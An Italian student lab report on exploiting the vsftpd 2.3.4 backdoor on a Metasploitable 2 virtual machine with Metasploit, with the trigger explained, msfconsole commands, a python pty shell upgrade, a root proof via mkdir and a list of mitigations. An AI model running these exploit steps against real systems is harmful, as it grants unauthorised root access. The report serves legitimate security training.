

Report Tecnico: Attività di Ethical Hacking su VSFTPD

Studente: Kevin Motti

Data: 20 Gennaio 2026

Esercizio: Unit 2 - Week 3 - Exploitation con Metasploit

1. Obiettivo dell'Attività

Lo scopo di questa esercitazione è stato simulare un penetration test, seguendo specifiche istruzioni operative.

In conformità con la traccia assegnata, l'attività non ha previsto una fase di discovery alla cieca, ma si è concentrata direttamente sulla verifica e lo sfruttamento di una vulnerabilità nota indicata nell'esercizio: quella relativa al servizio vsftpd v2.3.4 sulla macchina Metasploitable 2. L'obiettivo finale era ottenere i privilegi di amministrazione (root) e dimostrare il successo dell'attacco creando una cartella di prova.

2. Scenario e Configurazione

L'ambiente di laboratorio è stato configurato utilizzando due macchine virtuali la kali linux e la metasploitable.

- **Macchina Attaccante (Attacker):**
 - **OS:** Kali Linux
 - **IP:** 192.168.1.150
 - **Strumenti:** Metasploit Framework (msfconsole)
- **Macchina Bersaglio (Victim):**
 - **OS:** Metasploitable 2 (Linux)
 - **IP:** 192.168.1.149
 - **Servizio Target:** vsftpd 2.3.4 (Porta TCP 21)

3. Analisi della Vulnerabilità

Il servizio target assegnato, vsftpd (Very Secure FTP Daemon) versione 2.3.4, è affetto da una grave vulnerabilità di tipo Backdoor (Supply Chain Attack).

Nel 2011, il codice sorgente ufficiale fu compromesso: se un utente tenta l'autenticazione con un username che termina con i caratteri :) (faccina sorridente), il sistema apre automaticamente una shell di comando sulla porta TCP 6200 con privilegi di root, bypassando completamente l'autenticazione.

4. Esecuzione dell'Attacco (Walkthrough)

Fase 1: Configurazione dell'Exploit

Avviata la console di Metasploit, è stato selezionato il modulo specifico per la vulnerabilità

backdoor di VSFTPD.

- **Comando:** use exploit/unix/ftp/vsftpd_234_backdoor

```
msf > use unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

- **Verifica:** Il prompt della console è cambiato in msf exploit(unix/ftp/vsftpd_234_backdoor), confermando il caricamento del modulo.

Fase 2: Impostazione del Target

È stato configurato l'indirizzo IP della macchina vittima.

- **Comando:**

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
```

- **Verifica:** Il comando show options ha confermato i parametri: RHOSTS impostato sull'IP della vittima e RPORT sulla porta standard 21.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
```

Fase 3: Exploitation

Lanciando il comando di esecuzione, Metasploit ha attivato il trigger della backdoor.

- **Comando:** exploit
- **Esito:** Il sistema ha restituito Command shell session 1 opened. La connessione alla porta 6200 è avvenuta con successo.

Fase 4: Stabilizzazione della Sessione (Post-Exploitation)

La shell ottenuta inizialmente non era interattiva (mancanza di prompt e autocompletamento). Per operare in modo efficiente, è stato eseguito l'upgrade a una shell Bash completa utilizzando Python.

- **Comando:**

```
python -c 'import pty; pty.spawn("/bin/bash")'
root@metasploitable:/#
```

- **Risultato:** È apparso il prompt root@metasploitable:/#, permettendo una normale interazione con il sistema operativo.

5. Proof of Concept (Dimostrazione)

Come richiesto dalla traccia dell'esercizio ("Creazione di una Cartella"), è stata fornita la prova della capacità di scrittura sul disco con privilegi amministrativi.

1. **Navigazione:** Spostamento nella directory root con `cd /`.
2. **Esecuzione:** Creazione della directory di prova con il comando `mkdir /test_metasploit`.

```
58 test_metasploit
```

3. **Verifica Finale:** successivamente facendo log in nella meta ho cercato la cartella creata durante la sessione con metasploit.

```
2 root root 4096 2026-01-19 10:58 test_metasploit
```

6. Conclusioni e Mitigazione

L'esercizio ha dimostrato l'efficacia dell'utilizzo di framework automatizzati come Metasploit per sfruttare vulnerabilità note in servizi non aggiornati. L'accesso ottenuto ha permesso la compromissione totale della riservatezza, integrità e disponibilità del sistema target.

Azioni correttive consigliate:

1. **Aggiornamento e Patching:** La priorità assoluta è l'aggiornamento del demone vsftpd a una versione sicura (successiva alla 2.3.4), rimuovendo il codice infetto. È buona norma verificare sempre l'integrità dei pacchetti scaricati tramite confronto delle firme hash (checksum).
2. **Configurazione Firewall (Network Segmentation):** Limitare l'accesso alla porta 21 solo agli indirizzi IP amministrativi fidati. Inoltre, è fondamentale bloccare il traffico in ingresso su porte non standard (come la 6200 usata dalla backdoor) e monitorare i tentativi di connessione anomali.
3. **Principio del Minimo Privilegio:** Eseguire i servizi di rete con un utente dedicato a bassi privilegi, mai come root. In questo modo, anche se il servizio venisse compromesso, l'attaccante non otterrebbe immediatamente il controllo totale del sistema operativo.
4. **Monitoraggio (IDS/IPS):** Implementare sistemi di rilevamento intrusioni (come Snort o Suricata) configurati per identificare pattern di attacco noti, come la sequenza di caratteri :) inviata durante l'autenticazione FTP, bloccando automaticamente l'IP attaccante.